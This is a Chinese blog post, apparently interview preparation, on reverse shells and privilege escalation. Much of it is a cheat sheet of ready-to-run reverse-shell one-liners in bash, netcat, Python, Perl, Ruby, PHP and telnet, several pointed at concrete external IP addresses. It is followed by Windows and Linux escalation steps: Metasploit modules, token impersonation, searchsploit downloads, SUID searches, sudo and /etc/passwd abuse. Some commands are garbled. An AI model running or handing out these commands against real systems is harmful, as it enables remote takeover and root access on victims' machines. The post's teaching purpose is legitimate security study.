【反弹shell与提权】


前言

网络安全面试题


题目


1.为什么要反弹shell,反弹shell的方式

什么是反弹shell:
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
通俗来说,shell就是实现用户命令的接口,通过该接口我们能实现对计算机的控制(root权限),
而反弹shell就是将shell反弹给攻击者,从而达到让攻击者可以在自己的机器上执行shell命令,
从而操控受害者的计算机。

为什么要反弹shell:
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。

远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的木马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell的方式:
1.bash反弹
nc -lvvp port

bash -i >& /dev/tcp/攻击主机ip/port 0>&1 
/bin/bash -i > /dev/tcp/121.40.248.82/1234 0<& 2>&1
exec 5<>/dev/tcp/10.10.10.11/443;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0
sh -i >& /dev/udp/121.40.248.82/1234 0>&1

2.nc(netcat)反弹
nc -lvvp port

nc -e /bin/bash 攻击主机ip port
nc -e /bin/sh 121.40.248.82 1234
nc -c bash 10.10.10.11 443
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.11 443 >/tmp/f

3.常见脚本反弹
nc -lvvp port

python:

扫描二维码关注公众号,回复: 16647632 查看本文章
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
export RHOST="10.10.10.11";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

perl:
1-

perl -e 'use perl -e 'use Socket;$i="121.5.112.123";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
    
    open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2-

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

Ruby:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("121.5.112.123","5555");while(cmd=c.gets);IO.popen(cmd,"r"){
    
    |io|c.print io.read}end'

PHP:

php -r '$sock=fsockopen("121.5.112.123",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

4.利用Telnet反弹shell

nc -lvvp port

rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.11 443 0/tmp/p 2>&1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 10.10.10.11 443 > f

2.windows和linux提权常用方法

参考链接:内网渗透常用提权方式总结

内网提权的常用方法
常用的提权方法:
1.系统内核溢出提权
2.数据库提权
3.错误的系统配置提权
4.组策略首选项提权
5.DLL劫持提权
6.滥用高权限令牌提权
7.第三方软件/服务提权

windows提权
1.手动查找系统潜在漏洞
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:
systeminfo或wmic qfe get caption,description,hotfixid,installedon
然后借助提权辅助站点如https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp
2.系统服务权限配置错误
windows操作系统中的常见配置错误包括:
1.管理员凭证配置错误
2.服务配置错误
3.故意削弱的安全措施
4.用户权限过高
系统服务权限配置错误有如下两种可能:
服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务。
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权。
3.msf(service_permissions)模块

exploit/windows/local/service_permissions
show options
set session 2

4.注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件
5.计划任务
6.令牌窃取

假设MSF已经获得shell
可以进入模块
use incognito           #进入incognito模块
list_tokens -u          #列出令牌
可以看到两种令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。 
用此命令假冒用户获得权限
impersonate_token "NT AUTHORITY\\SYSTEM"

Linux提权
1.内核漏洞提权
先拿到shell之后通过信息收集方式得知linux内核版本

uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版

使用searchspolit搜索相应版本漏洞列入搜索

searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10
searchsploit -m 35370 //下载可利用文件

kali中开启http服务

python -m SimpleHTTPServer 8080 
wget http://目标IP:开放端口/文件路径
wget http://目标IP:开放端口/文件路径 > hh.sh   //把下载的文件保存到hh.sh中也可以用curl

2.脏牛内核提权
3.SUID提权
SUID(设置用户ID)是赋予文件的一种权限,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:

Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {
    
    } \;
find / -perm -4000 -type f -exec ls -la {
    
    } 2>/dev/null \;

当发现suid可执行文件后,可利用提权辅助网站查找相应命令提权

4.数据库提权
udf提权,mof提权,mssql提权
5.sudo 提权
给普通用户某个命令有root权限,并不需要给root密码,毕竟知道root密码的人越多越不安全。
普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,临时让其以root 权限运行某个程序。

sudo -l

6.cron提权()
编辑crontab添加定时任务
7.敏感隐藏文件
管理员会将服务器账户密码保存在某个文件中,作为备份防止遗忘
8.通配符提权
9./etc/passwd提权
修改/etc/passwd文件以创建或更改用户的root权限的各种方法


总结

本期主要介绍了反弹shell和提权的各种方式,面试时经常问到。

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/126089997